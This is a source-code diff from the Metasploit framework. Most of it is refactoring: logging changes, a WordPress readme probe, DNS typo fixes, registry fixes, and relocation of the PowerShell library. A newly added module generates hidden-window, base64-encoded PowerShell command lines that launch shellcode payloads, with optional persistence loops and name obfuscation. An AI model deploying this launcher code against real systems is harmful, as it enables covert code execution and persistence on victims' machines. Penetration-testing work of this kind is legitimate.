# * 'modules' [Array<string>] An array of post module names. Example: ['post/windows/wlan/wlan_profile']
# @example Here's how you would use this from the client:
# rpc.call('session.compatible_modules', 3)
def rpc_compatible_modules( sid)
ret = []

View File

@ -32,10 +32,10 @@ module Msf::HTTP::Typo3::Login
end
n = n_match[1]
vprint_debug("e: #{e}")
vprint_debug("n: #{n}")
vprint_status("e: #{e}")
vprint_status("n: #{n}")
rsa_enc = typo3_helper_login_rsa(e, n, pass)
vprint_debug("RSA Hash: #{rsa_enc}")
vprint_status("RSA Hash: #{rsa_enc}")
# make login request
vars_post = {
'n' => '',
@ -58,10 +58,10 @@ module Msf::HTTP::Typo3::Login
})
if res_login
if res_login.body =~ /<!-- ###LOGIN_ERROR### begin -->(.*)<!-- ###LOGIN_ERROR### end -->/im
vprint_debug(strip_tags($1))
vprint_status(strip_tags($1))
return nil
elsif res_login.body =~ /<p class="t3-error-text">(.*?)<\/p>/im
vprint_debug(strip_tags($1))
vprint_status(strip_tags($1))
return nil
else
cookies = res_login.get_cookies

View File

@ -107,18 +107,17 @@ module Msf::HTTP::Wordpress::Version
fail("Unknown readme type #{type}")
end
readme_url = normalize_uri(target_uri.path, wp_content_dir, folder, name, 'readme.txt')
res = send_request_cgi(
'uri' => readme_url,
'method' => 'GET'
)
if res.nil? || res.code != 200
readme_url = normalize_uri(target_uri.path, wp_content_dir, folder, name, 'Readme.txt')
readmes = ['readme.txt', 'Readme.txt', 'README.txt']
res = nil
readmes.each do |readme_name|
readme_url = normalize_uri(target_uri.path, wp_content_dir, folder, name, readme_name)
vprint_status("#{peer} - Checking #{readme_url}")
res = send_request_cgi(
'uri' => readme_url,
'method' => 'GET'
)
break if res && res.code == 200
end
if res.nil? || res.code != 200

View File

@ -41,8 +41,7 @@ module Msf
# Builds an an array of arguments o build a call to
# javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance()
#
# @param opts [Hash]
# @option opts [String] :name the MBean name
# @param name [String] the MBean name
# @return [Array]
def build_jmx_get_object_instance_args(name = '')
builder = Rex::Java::Serialization::Builder.new
@ -97,8 +96,7 @@ module Msf
# Builds an an array of arguments o build a call to
# javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean()
#
# @param opts [Hash]
# @option opts [String] :name the MBean name
# @param name [Hash] the MBean name
# @return [Array]
def build_jmx_create_mbean_args(name = '')
arguments = [

View File

@ -22,7 +22,6 @@ module Msf
# Calculates an interface hash to make RMI calls as defined by the JDK 1.1
#
# @param methods [Array] set of method names and their descriptors
# @param exceptions [Array] set of declared exceptions
# @return [Fixnum] The interface hash
# @see http://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmi-stubs24.html The RemoteRef Interface documentation to understand how interface hashes are calculated
def calculate_interface_hash(methods)

View File

@ -2323,7 +2323,7 @@ class Core
# Walk the plugins array
framework.plugins.each { |plugin|
# Unload the plugin if it matches the name we're searching for
if (plugin.name == args[0])
if (plugin.name.downcase == args[0].downcase)
print("Unloading plugin #{args[0]}...")
framework.plugins.unload(plugin)
print_line("unloaded.")

View File

@ -15,6 +15,7 @@ require 'rex/peparsey'
require 'rex/pescan'
require 'rex/random_identifier_generator'
require 'rex/zip'
require 'rex/powershell'
require 'metasm'
require 'digest/sha1'
require 'msf/core/exe/segment_injector'
@ -1080,36 +1081,17 @@ require 'msf/core/exe/segment_appender'
end
def self.to_win32pe_psh_net(framework, code, opts={})
rig = Rex::RandomIdentifierGenerator.new()
rig.init_var(:var_code)
rig.init_var(:var_kernel32)
rig.init_var(:var_baseaddr)
rig.init_var(:var_threadHandle)
rig.init_var(:var_output)
rig.init_var(:var_codeProvider)
rig.init_var(:var_compileParams)
rig.init_var(:var_syscode)
rig.init_var(:var_temp)
hash_sub = rig.to_h
hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
read_replace_script_template("to_mem_dotnet.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
template_path = File.join(Msf::Config.data_directory,
"templates",
"scripts")
Rex::Powershell::Payload.to_win32pe_psh_net(template_path, code)
end
def self.to_win32pe_psh(framework, code, opts = {})
hash_sub = {}
hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_win32_func] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_size] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_rwx] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_iter] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:shellcode] = Rex::Text.to_powershell(code, hash_sub[:var_code])
read_replace_script_template("to_mem_old.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
template_path = File.join(Msf::Config.data_directory,
"templates",
"scripts")
Rex::Powershell::Payload.to_win32pe_psh(template_path, code)
end
#
@ -1118,31 +1100,31 @@ require 'msf/core/exe/segment_appender'
# Originally from PowerSploit
#
def self.to_win32pe_psh_reflection(framework, code, opts = {})
# Intialize rig and value names
rig = Rex::RandomIdentifierGenerator.new()
rig.init_var(:func_get_proc_address)
rig.init_var(:func_get_delegate_type)
rig.init_var(:var_code)
rig.init_var(:var_module)
rig.init_var(:var_procedure)
rig.init_var(:var_unsafe_native_methods)
rig.init_var(:var_parameters)
rig.init_var(:var_return_type)
rig.init_var(:var_type_builder)
rig.init_var(:var_buffer)
rig.init_var(:var_hthread)
template_path = File.join(Msf::Config.data_directory,
"templates",
"scripts")
Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, code)
end
hash_sub = rig.to_h
hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
read_replace_script_template("to_mem_pshreflection.ps1.template",
hash_sub).gsub(/(?<!\r)\n/, "\r\n")
def self.to_powershell_command(framework, arch, code)
template_path = File.join(Msf::Config.data_directory,
"templates",
"scripts")
Rex::Powershell::Command.cmd_psh_payload(code,
arch,
template_path,
encode_final_payload: true,
method: 'reflection')
end
def self.to_win32pe_vbs(framework, code, opts = {})
to_exe_vbs(to_win32pe(framework, code, opts), opts)
end
def self.to_win64pe_vbs(framework, code, opts = {})
to_exe_vbs(to_win64pe(framework, code, opts), opts)
end
# Creates a jar file that drops the provided +exe+ into a random file name
# in the system's temp dir and executes it.
#
@ -1944,6 +1926,8 @@ require 'msf/core/exe/segment_appender'
Msf::Util::EXE.to_win32pe_psh_net(framework, code, exeopts)
when 'psh-reflection'
Msf::Util::EXE.to_win32pe_psh_reflection(framework, code, exeopts)
when 'psh-cmd'
Msf::Util::EXE.to_powershell_command(framework, arch, code)
end
end
@ -1967,6 +1951,7 @@ require 'msf/core/exe/segment_appender'
"psh",
"psh-net",
"psh-reflection",
"psh-cmd",
"vba",
"vba-exe",
"vbs",

View File

@ -1,15 +1,15 @@
# -*- coding: binary -*-
module Net # :nodoc:
module DNS
module DNS
class RR
#
# This is an auxiliary class to hadle RR class field in a DNS packet.
# This is an auxiliary class to hadle RR class field in a DNS packet.
#
class Classes
# An hash with the values of each RR class stored with the
# An hash with the values of each RR class stored with the
# respective id number
Classes = {
'IN' => 1, # RFC 1035
@ -18,7 +18,7 @@ module Net # :nodoc:
'NONE' => 254, # RFC 2136
'ANY' => 255, # RFC 1035
}
# The default value when class is nil in Resource Records
@@default = Classes["IN"]
@ -32,7 +32,7 @@ module Net # :nodoc:
end
end
# Checks whether +cls+ is a valid RR class.
# Checks whether +cls+ is a valid RR class.
def self.valid?(cls)
case cls
when String
@ -43,7 +43,7 @@ module Net # :nodoc:
raise ClassArgumentError, "Wrong cls class: #{cls.class}"
end
end
# Returns the class in string format, as "IN" or "CH",
# given the numeric value
def self.to_str(cls)
@ -72,13 +72,13 @@ module Net # :nodoc:
case cls
when String
# type in the form "A" or "NS"
new_from_string(cls.upcase)
new_from_string(cls.upcase)
when Fixnum
# type in numeric form
new_from_num(cls)
new_from_num(cls)
when nil
# default type, control with Classes.default=
@str = Classes.invert[@@default]
@str = Classes.invert[@@default]
@num = @@default
else
raise ClassArgumentError, "Wrong cls class: #{cls.class}"
@ -91,7 +91,7 @@ module Net # :nodoc:
case cls
when /^CLASS\\d+/
# TODO!!!
else
else
# String with name of class
if Classes.has_key? cls
@str = cls
@ -109,11 +109,11 @@ module Net # :nodoc:
@num = cls
@str = Classes.invert[cls]
else
raise ClassesArgumentError, "Unkown cls number #{cls}"
raise ClassesArgumentError, "Unknown cls number #{cls}"
end
end
# Returns the class in number format
# Returns the class in number format
# (default for normal use)
def inspect
@num
@ -124,7 +124,7 @@ module Net # :nodoc:
def to_s
@str
end
# Returns the class in numeric format,
# usable by the pack methods for data transfers
def to_i
@ -140,7 +140,7 @@ module Net # :nodoc:
private :new_from_num, :new_from_string
end # class Classes
end # class RR
end # module DNS
end # module Net

View File

@ -1,14 +1,14 @@
# -*- coding: binary -*-
module Net # :nodoc:
module DNS
class RR
#
# This is an auxiliary class to hadle RR type field in a DNS packet.
# This is an auxiliary class to hadle RR type field in a DNS packet.
#
class Types
# :nodoc:
Types = { # :nodoc:
'SIGZERO' => 0, # RFC2931 consider this a pseudo type
@ -85,7 +85,7 @@ module Net # :nodoc:
end
end
# Checks whether +type+ is a valid RR type.
# Checks whether +type+ is a valid RR type.
def self.valid?(type)
case type
when String
@ -96,7 +96,7 @@ module Net # :nodoc:
raise TypeArgumentError, "Wrong type class: #{type.class}"
end
end
# Returns the type in string format, as "A" or "NS",
# given the numeric value
def self.to_str(type)
@ -125,20 +125,20 @@ module Net # :nodoc:
case type
when String
# type in the form "A" or "NS"
new_from_string(type.upcase)
new_from_string(type.upcase)
when Fixnum
# type in numeric form
new_from_num(type)
new_from_num(type)
when nil
# default type, control with Types.default=
@str = Types.invert[@@default]
@str = Types.invert[@@default]
@num = @@default
else
raise TypeArgumentError, "Wrong type class: #{type.class}"
end
end
# Returns the type in number format
# Returns the type in number format
# (default for normal use)
def inspect
@num
@ -155,21 +155,21 @@ module Net # :nodoc:
def to_i
@num.to_i
end
# Should be used only for testing purpouses
def to_str
@num.to_s
end
private
# Constructor for string data type,
# *PRIVATE* method
def new_from_string(type)
case type
when /^TYPE\\d+/
# TODO!!!
else
else
# String with name of type
if Types.has_key? type
@str = type
@ -187,12 +187,12 @@ module Net # :nodoc:
@num = type
@str = Types.invert[type]
else
raise TypeArgumentError, "Unkown type number #{type}"
raise TypeArgumentError, "Unknown type number #{type}"
end
end
end # class Types
end # class RR
end # module DNS
end # module Net

View File

@ -42,6 +42,7 @@ end
require 'rex/constants'
require 'rex/exceptions'
require 'rex/transformer'
require 'rex/random_identifier_generator'
require 'rex/text'
require 'rex/time'
require 'rex/job_container'

View File

@ -1,62 +0,0 @@
# -*- coding: binary -*-
require 'rex/exploitation/powershell/output'
require 'rex/exploitation/powershell/parser'
require 'rex/exploitation/powershell/obfu'
require 'rex/exploitation/powershell/param'
require 'rex/exploitation/powershell/function'
require 'rex/exploitation/powershell/script'
require 'rex/exploitation/powershell/psh_methods'
module Rex
module Exploitation
module Powershell
#
# Reads script into a PowershellScript
#
# @param script_path [String] Path to the Script File
#
# @return [Script] Powershell Script object
def self.read_script(script_path)
Rex::Exploitation::Powershell::Script.new(script_path)
end
#
# Insert substitutions into the powershell script
# If script is a path to a file then read the file
# otherwise treat it as the contents of a file
#
# @param script [String] Script file or path to script
# @param subs [Array] Substitutions to insert
#
# @return [String] Modified script file
def self.make_subs(script, subs)
if ::File.file?(script)
script = ::File.read(script)
end
subs.each do |set|
script.gsub!(set[0], set[1])
end
script
end
#
# Return an array of substitutions for use in make_subs
#
# @param subs [String] A ; seperated list of substitutions
#
# @return [Array] An array of substitutions
def self.process_subs(subs)
return [] if subs.nil? or subs.empty?
new_subs = []
subs.split(';').each do |set|
new_subs << set.split(',', 2)
end
new_subs
end
end
end
end

View File

@ -1,183 +0,0 @@
# -*- coding: binary -*-
module Rex
module Exploitation
module Powershell
module Parser
# Reserved special variables
# Acquired with: Get-Variable | Format-Table name, value -auto
RESERVED_VARIABLE_NAMES = [
'$$',
'$?',
'$^',
'$_',
'$args',
'$ConfirmPreference',
'$ConsoleFileName',
'$DebugPreference',
'$Env',
'$Error',
'$ErrorActionPreference',
'$ErrorView',
'$ExecutionContext',
'$false',
'$FormatEnumerationLimit',
'$HOME',
'$Host',
'$input',
'$LASTEXITCODE',
'$MaximumAliasCount',
'$MaximumDriveCount',
'$MaximumErrorCount',
'$MaximumFunctionCount',
'$MaximumHistoryCount',
'$MaximumVariableCount',
'$MyInvocation',
'$NestedPromptLevel',
'$null',
'$OutputEncoding',
'$PID',
'$PROFILE',
'$ProgressPreference',
'$PSBoundParameters',
'$PSCulture',
'$PSEmailServer',
'$PSHOME',
'$PSSessionApplicationName',
'$PSSessionConfigurationName',
'$PSSessionOption',
'$PSUICulture',
'$PSVersionTable',
'$PWD',
'$ReportErrorShowExceptionClass',
'$ReportErrorShowInnerException',
'$ReportErrorShowSource',
'$ReportErrorShowStackTrace',
'$ShellId',
'$StackTrace',
'$true',
'$VerbosePreference',
'$WarningPreference',
'$WhatIfPreference'
].map(&:downcase).freeze
#
# Get variable names from code, removes reserved names from return
#
# @return [Array] variable names
def get_var_names
our_vars = code.scan(/\$[a-zA-Z\-\_0-9]+/).uniq.flatten.map(&:strip)
our_vars.select { |v| !RESERVED_VARIABLE_NAMES.include?(v.downcase) }
end
#
# Get function names from code
#
# @return [Array] function names
def get_func_names
code.scan(/function\s([a-zA-Z\-\_0-9]+)/).uniq.flatten
end
#
# Attempt to find string literals in PSH expression
#
# @return [Array] string literals
def get_string_literals
code.scan(/@"(.+?)"@|@'(.+?)'@/m)
end
#
# Scan code and return matches with index
#
# @param str [String] string to match in code
# @param source [String] source code to match, defaults to @code
#
# @return [Array[String,Integer]] matched items with index
def scan_with_index(str, source = code)
::Enumerator.new do |y|
source.scan(str) do
y << ::Regexp.last_match
end
end.map { |m| [m.to_s, m.offset(0)[0]] }
end
#
# Return matching bracket type
#
# @param char [String] opening bracket character
#
# @return [String] matching closing bracket
def match_start(char)
case char
when '{'
'}'
when '('
')'
when '['
']'
when '<'
'>'
else
fail ArgumentError, 'Unknown starting bracket'
end
end
#
# Extract block of code inside brackets/parenthesis
#
# Attempts to match the bracket at idx, handling nesting manually
# Once the balanced matching bracket is found, all script content
# between idx and the index of the matching bracket is returned
#
# @param idx [Integer] index of opening bracket
#
# @return [String] content between matching brackets
def block_extract(idx)
fail ArgumentError unless idx
if idx < 0 || idx >= code.length
fail ArgumentError, 'Invalid index'
end
start = code[idx]
stop = match_start(start)
delims = scan_with_index(/#{Regexp.escape(start)}|#{Regexp.escape(stop)}/, code[idx + 1..-1])
delims.map { |x| x[1] = x[1] + idx + 1 }
c = 1
sidx = nil
# Go through delims till we balance, get idx
while (c != 0) && (x = delims.shift)
sidx = x[1]
x[0] == stop ? c -= 1 : c += 1
end
code[idx..sidx]
end
#
# Extract a block of function code
#
# @param func_name [String] function name
# @param delete [Boolean] delete the function from the code
#
# @return [String] function block
def get_func(func_name, delete = false)
start = code.index(func_name)
return nil unless start
idx = code[start..-1].index('{') + start
func_txt = block_extract(idx)
if delete
delete_code = code[0..idx]
delete_code << code[(idx + func_txt.length)..-1]
@code = delete_code
end
Function.new(func_name, func_txt)
end
end # Parser
end
end
end

View File

@ -87,10 +87,6 @@ class BidirectionalPipe < Rex::Ui::Text::Input
print_line('[+] ' + msg)
end
def print_debug(msg='')
print_line('[!] ' + msg)
end
def flush
end

View File

@ -277,6 +277,8 @@ module Rex
port_hash[:state] = determine_port_state(v)
when "name"
port_hash[:name] = v
when "tunnel"
port_hash[:name] = "#{v}/#{port_hash[:name] || 'unknown'}"
when "reason"
port_hash[:reason] = v
when "product"

View File

@ -10,18 +10,20 @@ module Rex
# Define 8-bit checksums for matching URLs
# These are based on charset frequency
#
URI_CHECKSUM_INITW = 92 # Windows
URI_CHECKSUM_INITN = 92 # Native (same as Windows)
URI_CHECKSUM_INITP = 80 # Python
URI_CHECKSUM_INITJ = 88 # Java
URI_CHECKSUM_CONN = 98 # Existing session
URI_CHECKSUM_INITW = 92 # Windows
URI_CHECKSUM_INITN = 92 # Native (same as Windows)
URI_CHECKSUM_INITP = 80 # Python
URI_CHECKSUM_INITJ = 88 # Java
URI_CHECKSUM_CONN = 98 # Existing session
URI_CHECKSUM_INIT_CONN = 95 # New stageless session
# Mapping between checksums and modes
URI_CHECKSUM_MODES = Hash[
URI_CHECKSUM_INITN, :init_native,
URI_CHECKSUM_INITP, :init_python,
URI_CHECKSUM_INITJ, :init_java,
URI_CHECKSUM_CONN, :connect
URI_CHECKSUM_INITN, :init_native,
URI_CHECKSUM_INITP, :init_python,
URI_CHECKSUM_INITJ, :init_java,
URI_CHECKSUM_INIT_CONN, :init_connect,
URI_CHECKSUM_CONN, :connect
]
URI_CHECKSUM_MIN_LEN = 5

View File

@ -163,7 +163,11 @@ class RegistryKey
# Returns the path to the key.
#
def to_s
return self.root_key.to_s + "\\" + self.base_key
if self.base_key.nil?
self.root_key.to_s + "\\"
else
self.root_key.to_s + "\\" + self.base_key
end
end
#

View File

@ -79,7 +79,12 @@ module PacketDispatcher
def shutdown_passive_dispatcher
return if not self.passive_service
self.passive_service.remove_resource("/" + self.conn_id + "/")
self.passive_service.remove_resource(self.conn_id + "/")
# If there are no more resources registered on the service, stop it entirely
if self.passive_service.resources.empty?
Rex::ServiceManager.stop_service(self.passive_service)
end
self.alive = false
self.send_queue = []

View File

@ -641,11 +641,11 @@ class Console::CommandDispatcher::Stdapi::Sys
when "deletekey"
open_key = nil
if not rem
open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE + wowflag)
open_key = client.sys.registry.open_key(root_key, nil, KEY_WRITE + wowflag)
else
remote_key = client.sys.registry.open_remote_key(rem, root_key)
if remote_key
open_key = remote_key.open_key(base_key, KEY_WRITE + wowflag)
open_key = remote_key.open_key(nil, KEY_WRITE + wowflag)
end
end
open_key.delete_key(base_key)

62
lib/rex/powershell.rb Normal file
View File

@ -0,0 +1,62 @@
# -*- coding: binary -*-
require 'rex/powershell/payload'
require 'rex/powershell/output'
require 'rex/powershell/parser'
require 'rex/powershell/obfu'
require 'rex/powershell/param'
require 'rex/powershell/function'
require 'rex/powershell/script'
require 'rex/powershell/psh_methods'
require 'rex/powershell/command'
module Rex
module Powershell
#
# Reads script into a PowershellScript
#
# @param script_path [String] Path to the Script File
#
# @return [Script] Powershell Script object
def self.read_script(script_path)
Rex::Powershell::Script.new(script_path)
end
#
# Insert substitutions into the powershell script
# If script is a path to a file then read the file
# otherwise treat it as the contents of a file
#
# @param script [String] Script file or path to script
# @param subs [Array] Substitutions to insert
#
# @return [String] Modified script file
def self.make_subs(script, subs)
if ::File.file?(script)
script = ::File.read(script)
end
subs.each do |set|
script.gsub!(set[0], set[1])
end
script
end
#
# Return an array of substitutions for use in make_subs
#
# @param subs [String] A ; seperated list of substitutions
#
# @return [Array] An array of substitutions
def self.process_subs(subs)
return [] if subs.nil? or subs.empty?
new_subs = []
subs.split(';').each do |set|
new_subs << set.split(',', 2)
end
new_subs
end
end
end

View File

@ -0,0 +1,359 @@
# -*- coding: binary -*-
module Rex
module Powershell
module Command
#
# Return an encoded powershell script
# Will invoke PSH modifiers as enabled
#
# @param script_in [String] Script contents
# @param opts [Hash] The options for encoding
# @option opts [Bool] :strip_comments Strip comments
# @option opts [Bool] :strip_whitespace Strip whitespace
# @option opts [Bool] :sub_vars Substitute variable names
# @option opts [Bool] :sub_funcs Substitute function names
#
# @return [String] Encoded script
def self.encode_script(script_in, opts={})
# Build script object
psh = Rex::Powershell::Script.new(script_in)
psh.strip_comments if opts[:strip_comments]
psh.strip_whitespace if opts[:strip_whitespace]
psh.sub_vars if opts[:sub_vars]
psh.sub_funcs if opts[:sub_funcs]
psh.encode_code
end
#
# Return a gzip compressed powershell script
# Will invoke PSH modifiers as enabled
#
# @param script_in [String] Script contents
# @param eof [String] Marker to indicate the end of file appended to script
# @param opts [Hash] The options for encoding
# @option opts [Bool] :strip_comments Strip comments
# @option opts [Bool] :strip_whitespace Strip whitespace
# @option opts [Bool] :sub_vars Substitute variable names
# @option opts [Bool] :sub_funcs Substitute function names
#
# @return [String] Compressed script with decompression stub
def self.compress_script(script_in, eof=nil, opts={})
# Build script object
psh = Rex::Powershell::Script.new(script_in)
psh.strip_comments if opts[:strip_comments]
psh.strip_whitespace if opts[:strip_whitespace]
psh.sub_vars if opts[:sub_vars]
psh.sub_funcs if opts[:sub_funcs]
psh.compress_code(eof)
end
#
# Generate a powershell command line, options are passed on to
# generate_psh_args
#
# @param opts [Hash] The options to generate the command line
# @option opts [String] :path Path to the powershell binary
# @option opts [Boolean] :no_full_stop Whether powershell binary
# should include .exe
#
# @return [String] Powershell command line with arguments
def self.generate_psh_command_line(opts)
if opts[:path] and (opts[:path][-1, 1] != '\\')
opts[:path] << '\\'
end
if opts[:no_full_stop]
binary = 'powershell'
else
binary = 'powershell.exe'
end
args = generate_psh_args(opts)
"#{opts[:path]}#{binary} #{args}"
end
#
# Generate arguments for the powershell command
# The format will be have no space at the start and have a space
# afterwards e.g. "-Arg1 x -Arg -Arg x "
#
# @param opts [Hash] The options to generate the command line
# @option opts [Boolean] :shorten Whether to shorten the powershell
# arguments (v2.0 or greater)
# @option opts [String] :encodedcommand Powershell script as an
# encoded command (-EncodedCommand)
# @option opts [String] :executionpolicy The execution policy
# (-ExecutionPolicy)
# @option opts [String] :inputformat The input format (-InputFormat)
# @option opts [String] :file The path to a powershell file (-File)
# @option opts [Boolean] :noexit Whether to exit powershell after
# execution (-NoExit)
# @option opts [Boolean] :nologo Whether to display the logo (-NoLogo)
# @option opts [Boolean] :noninteractive Whether to load a non
# interactive powershell (-NonInteractive)
# @option opts [Boolean] :mta Whether to run as Multi-Threaded
# Apartment (-Mta)
# @option opts [String] :outputformat The output format
# (-OutputFormat)
# @option opts [Boolean] :sta Whether to run as Single-Threaded
# Apartment (-Sta)
# @option opts [Boolean] :noprofile Whether to use the current users
# powershell profile (-NoProfile)
# @option opts [String] :windowstyle The window style to use
# (-WindowStyle)
#
# @return [String] Powershell command arguments
def self.generate_psh_args(opts)
return '' unless opts
unless opts.key? :shorten
opts[:shorten] = (opts[:method] != 'old')
end
arg_string = ' '
opts.each_pair do |arg, value|
case arg
when :encodedcommand
arg_string << "-EncodedCommand #{value} " if value
when :executionpolicy
arg_string << "-ExecutionPolicy #{value} " if value
when :inputformat
arg_string << "-InputFormat #{value} " if value
when :file
arg_string << "-File #{value} " if value
when :noexit
arg_string << '-NoExit ' if value
when :nologo
arg_string << '-NoLogo ' if value
when :noninteractive
arg_string << '-NonInteractive ' if value
when :mta
arg_string << '-Mta ' if value
when :outputformat
arg_string << "-OutputFormat #{value} " if value
when :sta
arg_string << '-Sta ' if value
when :noprofile
arg_string << '-NoProfile ' if value
when :windowstyle
arg_string << "-WindowStyle #{value} " if value
end
end
# Command must be last (unless from stdin - etc)
if opts[:command]
arg_string << "-Command #{opts[:command]}"
end
# Shorten arg if PSH 2.0+
if opts[:shorten]
# Invoke-Command and Out-File require these options to have
# an additional space before to prevent Powershell code being
# mangled.
arg_string.gsub!(' -Command ', ' -c ')
arg_string.gsub!('-EncodedCommand ', '-e ')
arg_string.gsub!('-ExecutionPolicy ', '-ep ')
arg_string.gsub!(' -File ', ' -f ')
arg_string.gsub!('-InputFormat ', '-i ')
arg_string.gsub!('-NoExit ', '-noe ')
arg_string.gsub!('-NoLogo ', '-nol ')
arg_string.gsub!('-NoProfile ', '-nop ')
arg_string.gsub!('-NonInteractive ', '-noni ')
arg_string.gsub!('-OutputFormat ', '-o ')
arg_string.gsub!('-Sta ', '-s ')
arg_string.gsub!('-WindowStyle ', '-w ')
end
# Strip off first space character
arg_string = arg_string[1..-1]
# Remove final space character
arg_string = arg_string[0..-2] if (arg_string[-1] == ' ')
arg_string
end
#
# Wraps the powershell code to launch a hidden window and
# detect the execution environment and spawn the appropriate
# powershell executable for the payload architecture.
#
# @param ps_code [String] Powershell code
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
# @param encoded [Boolean] Indicates whether ps_code is encoded or not
# @param opts [Hash] The options for generate_psh_args
#
# @return [String] Wrapped powershell code
def self.run_hidden_psh(ps_code, payload_arch, encoded, opts={})
opts[:noprofile] ||= 'true'
opts[:windowstyle] ||= 'hidden'
# Old method needs host process to stay open
opts[:noexit] = true if (opts[:method] == 'old')
if encoded
opts[:encodedcommand] = ps_code
else
opts[:command] = ps_code.gsub("'", "''")
end
ps_args = generate_psh_args(opts)
process_start_info = <<EOS
$s=New-Object System.Diagnostics.ProcessStartInfo
$s.FileName=$b
$s.Arguments='#{ps_args}'
$s.UseShellExecute=$false
$s.RedirectStandardOutput=$true
$s.WindowStyle='Hidden'
$s.CreateNoWindow=$true
$p=[System.Diagnostics.Process]::Start($s)
EOS
process_start_info.gsub!("\n", ';')
archictecure_detection = <<EOS
if([IntPtr]::Size -eq 4){
#{payload_arch == 'x86' ? "$b='powershell.exe'" : "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"}
}else{
#{payload_arch == 'x86' ? "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"}
};
EOS
archictecure_detection.gsub!("\n", '')
archictecure_detection + process_start_info
end
#
# Creates a powershell command line string which will execute the
# payload in a hidden window in the appropriate execution environment
# for the payload architecture. Opts are passed through to
# run_hidden_psh, generate_psh_command_line and generate_psh_args
#
# @param pay [String] The payload shellcode
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
# @param opts [Hash] The options to generate the command
# @option opts [Boolean] :persist Loop the payload to cause
# re-execution if the shellcode finishes
# @option opts [Integer] :prepend_sleep Sleep for the specified time
# before executing the payload
# @option opts [String] :method The powershell injection technique to
# use: 'net'/'reflection'/'old'
# @option opts [Boolean] :encode_inner_payload Encodes the powershell
# script within the hidden/architecture detection wrapper
# @option opts [Boolean] :encode_final_payload Encodes the final
# powershell script
# @option opts [Boolean] :remove_comspec Removes the %COMSPEC%
# environment variable at the start of the command line
# @option opts [Boolean] :use_single_quotes Wraps the -Command
# argument in single quotes unless :encode_final_payload
#
# @return [String] Powershell command line with payload
def self.cmd_psh_payload(pay, payload_arch, template_path, opts = {})
if opts[:encode_inner_payload] && opts[:encode_final_payload]
fail RuntimeError, ':encode_inner_payload and :encode_final_payload are incompatible options'
end
if opts[:no_equals] && !opts[:encode_final_payload]
fail RuntimeError, ':no_equals requires :encode_final_payload option to be used'
end
psh_payload = case opts[:method]
when 'net'
Rex::Powershell::Payload.to_win32pe_psh_net(template_path, pay)
when 'reflection'
Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, pay)
when 'old'
Rex::Powershell::Payload.to_win32pe_psh(template_path, pay)
when 'msil'
fail RuntimeError, 'MSIL Powershell method no longer exists'
else
fail RuntimeError, 'No Powershell method specified'
end
# Run our payload in a while loop
if opts[:persist]
fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
sleep_time = rand(5) + 5
psh_payload = "function #{fun_name}{#{psh_payload}};"
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
end
if opts[:prepend_sleep]
if opts[:prepend_sleep].to_i > 0
psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload
end
end
compressed_payload = compress_script(psh_payload, nil, opts)
encoded_payload = encode_script(psh_payload, opts)
# This branch is probably never taken...
if encoded_payload.length <= compressed_payload.length
smallest_payload = encoded_payload
encoded = true
else
if opts[:encode_inner_payload]
encoded = true
compressed_encoded_payload = encode_script(compressed_payload)
if encoded_payload.length <= compressed_encoded_payload.length
smallest_payload = encoded_payload
else
smallest_payload = compressed_encoded_payload
end
else
smallest_payload = compressed_payload
encoded = false
end
end
# Wrap in hidden runtime / architecture detection
inner_args = opts.clone
final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded, inner_args)
command_args = {
noprofile: true,
windowstyle: 'hidden'
}.merge(opts)
if opts[:encode_final_payload]
command_args[:encodedcommand] = encode_script(final_payload)
# If '=' is a bad character pad the payload until Base64 encoded
# payload contains none.
if opts[:no_equals]
while command_args[:encodedcommand].include? '='
final_payload << ' '
command_args[:encodedcommand] = encode_script(final_payload)
end
end
else
if opts[:use_single_quotes]
# Escape Single Quotes
final_payload.gsub!("'", "''")
# Wrap command in quotes
final_payload = "'#{final_payload}'"
end
command_args[:command] = final_payload
end
psh_command = generate_psh_command_line(command_args)
if opts[:remove_comspec]
command = psh_command
else
command = "%COMSPEC% /b /c start /b /min #{psh_command}"
end
if command.length > 8191
fail RuntimeError, 'Powershell command length is greater than the command line maximum (8192 characters)'
end
command
end
end
end
end

View File

@ -1,7 +1,6 @@
# -*- coding: binary -*-
module Rex
module Exploitation
module Powershell
class Function
FUNCTION_REGEX = Regexp.new(/\[(\w+\[\])\]\$(\w+)\s?=|\[(\w+)\]\$(\w+)\s?=|\[(\w+\[\])\]\s+?\$(\w+)\s+=|\[(\w+)\]\s+\$(\w+)\s?=/i)
@ -60,4 +59,3 @@ module Powershell
end
end
end
end

View File

@ -3,7 +3,6 @@
require 'rex/text'
module Rex
module Exploitation
module Powershell
module Obfu
MULTI_LINE_COMMENTS_REGEX = Regexp.new(/<#(.*?)#>/m)
@ -95,4 +94,3 @@ module Powershell
end # Obfu
end
end
end

View File

@ -4,7 +4,6 @@ require 'zlib'
require 'rex/text'
module Rex
module Exploitation
module Powershell
module Output
#
@ -148,4 +147,3 @@ module Powershell
end
end
end
end

View File

@ -1,7 +1,6 @@
# -*- coding: binary -*-
module Rex
module Exploitation
module Powershell
class Param
attr_accessor :klass, :name
